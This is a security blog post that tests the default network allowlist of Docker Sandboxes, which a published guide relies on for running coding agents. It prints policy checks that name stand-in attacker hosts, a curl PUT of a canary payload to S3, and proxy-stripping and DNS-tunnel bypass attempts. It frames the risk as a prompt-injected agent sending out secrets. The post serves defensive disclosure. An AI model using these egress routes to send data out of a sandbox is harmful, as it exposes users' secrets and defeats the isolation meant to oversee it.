All posts by Davi Ottenheimer

Simple Security Flaw in “Agentic Coding Techniques”

Micah Lee published a guide to running coding agents in YOLO mode without wrecking your machine.

I read through the safety bits and it all rests on Docker Sandboxes, a microVM that proxies all sandbox egress through a default host-side allowlist. He describes the network control in one line.

All network access is proxied through the host with a firewall of allowed domains. By default it only allows common coding domains for services like GitHub, NPM, PyPi, etc., but you can restrict it or open it up as much as you want, per-sandbox.

A firewall of allowed domains. Record scratch. I have been on my “it’s the basics” soapbox a lot lately, because of exactly this. The entire trust boundary between a prompt-injected agent and the open internet is “allowed domains”.

Ok, ok, let’s do this. I grabbed the defaults from Docker, because that’s what the blog post implies, and I asked it what it permits.

This is Docker Sandboxes v0.37.1, the default Balanced network profile, on Ubuntu Linux with KVM. Balanced is described in the setup wizard as default-deny with common dev sites allowed. It is not a weakened configuration. It is the one Micah’s readers will get out of the box, per his instructions.

The allowlist is… all the clouds

The policy engine easily answers, using the daemon’s authorizer, whether we can egress. I don’t need to run packet tests because it evaluates the same authorizer used by network enforcement, as stated in the help pages.

sbx policy check network 1.1.1.1:443
  Denied: 1.1.1.1:443
  Reason: no matching allow rule (default deny)

sbx policy check network 169.254.169.254:80
  Denied: 169.254.169.254:80
  Reason: no matching allow rule (default deny)

Those denied statements looked so good. The raw IP is denied. The link-local metadata endpoint is denied. These are the bypasses the usual researchers warn about, and Docker closed them.

sbx policy check network evil.s3.amazonaws.com:443
  Allowed: evil.s3.amazonaws.com:443

sbx policy check network raw.githubusercontent.com:443
  Allowed: raw.githubusercontent.com:443

sbx policy check network attacker.blob.core.windows.net:443
  Allowed: attacker.blob.core.windows.net:443

Those allowed statements are NOT GOOD. Three hostnames an attacker fully controls are allowed, because the Balanced policy grants **.amazonaws.com, **.githubusercontent.com, and **.blob.core.windows.net as wildcards.

Any subdomain.
Any bucket.
Any tenant.
Any time.

A domain allowlist means the possession of a matching name proves the endpoint is trusted. But this is public, ephemeral namespace, a classic threat surface.

Amazon does not own the contents of your-bucket.s3.amazonaws.com. You do, or an attacker does, for the price of nothing, because it’s free. The allowlist grants the suffix and the attacker rents the leaf, which means egress is a LOT MORE OPEN than an allowlist implies.

Enforcement versus declaration

The authorizer revealed the policy flaw. Next I wanted the sandbox to fail. So I cleared an unrelated mount-policy default, launched a shell inside the microVM, and pushed a payload to an S3 path.

curl -X PUT --data 'exfil-canary-payload' \
  https://s3.amazonaws.com/some-bucket/canary
  -> 403, reached AWS (fd0f:1b99:17b0::)

The 403 is S3 reached, rejecting the bucket credentials. The request left the sandbox, crossed the proxy, and AWS answered. Honestly, I was hoping for a 418, but maybe another day. The point is Docker allowed it. Point that PUT at a bucket the attacker controls and only bucket credentials (NOT Docker’s egress control) sit between a payload and write-level authorization.

That is exfiltration to a sanctioned endpoint, live, through the front door. That “agentic safety” blog post has a front door problem.

The block is enforced, just to be clear. At the network layer it killed my raw IP at the proxy even with the proxy environment variables stripped.

env -u HTTP_PROXY -u HTTPS_PROXY -u http_proxy -u https_proxy \
  curl -s -o /dev/null -w '%{http_code}\n' https://1.1.1.1/
  -> 000  (curl exit 35, TLS teardown)

The DNS-tunnel channel was also blocked. The sandbox cannot reach an arbitrary resolver.

env -u HTTP_PROXY -u HTTPS_PROXY -u http_proxy -u https_proxy \
  dig +short @8.8.8.8 canary.example.com
  -> connection refused  (dig exit 9)

So we can see the block working with a default-deny. Raw IP blocked at the network layer. Rebinding-resistant. DNS pinned to the proxy resolver. Docker was headed on the right path.

Then the allowlist was filled with “get developers working fast” multi-tenant cloud suffixes so broad you could drive a lot of agents through it. That kind of allowlist is the thing that gives allowlists a bad name.

Cloudflare as a caution

The Balanced policy contains one particular entry that stood out. Cloudflare R2. Unlike the others, it is not a wildcard. It is a single full hostname, docker-images-prod.[hash].r2.cloudflarestorage.com, the exact bucket Docker uses to serve its own images. Query the authorizer about another host on the same suffix.

sbx policy check network attacker.r2.cloudflarestorage.com:443
  Denied: attacker.r2.cloudflarestorage.com:443
  Reason: no matching allow rule (default deny)

Denied, as expected.

R2 was pinned to the one bucket that needed reaching, while S3, Azure Blob, Google Cloud Storage, and Vercel Blob were granted by wildcard. The tight rule proves narrow scoping was available and understood. Whoever wrote the R2 entry knew a cloud suffix is not a trust boundary, applied that to the bucket Docker itself depends on, and left the rest open.

Agentic safety needs a certification

Micah’s setup ran the tool as documented and trusted the allowlist as advertised. That actually pains me to see, because it’s unsafe in a blog post about safety of agents.

A microVM egress proxy that blocks raw IPs, metadata, and DNS tunneling gives the impression of safety, while using an allowlist built from shared-tenancy clouds. The one threat the sandbox exists to contain is an agent that has been told to send your secrets somewhere, and then the allowlist blows away the whole premise.

The default is not safe for the threat model advertised. The sandbox launches. The steps execute as written. What fails is the “agentic coding techniques” security conclusion as presented.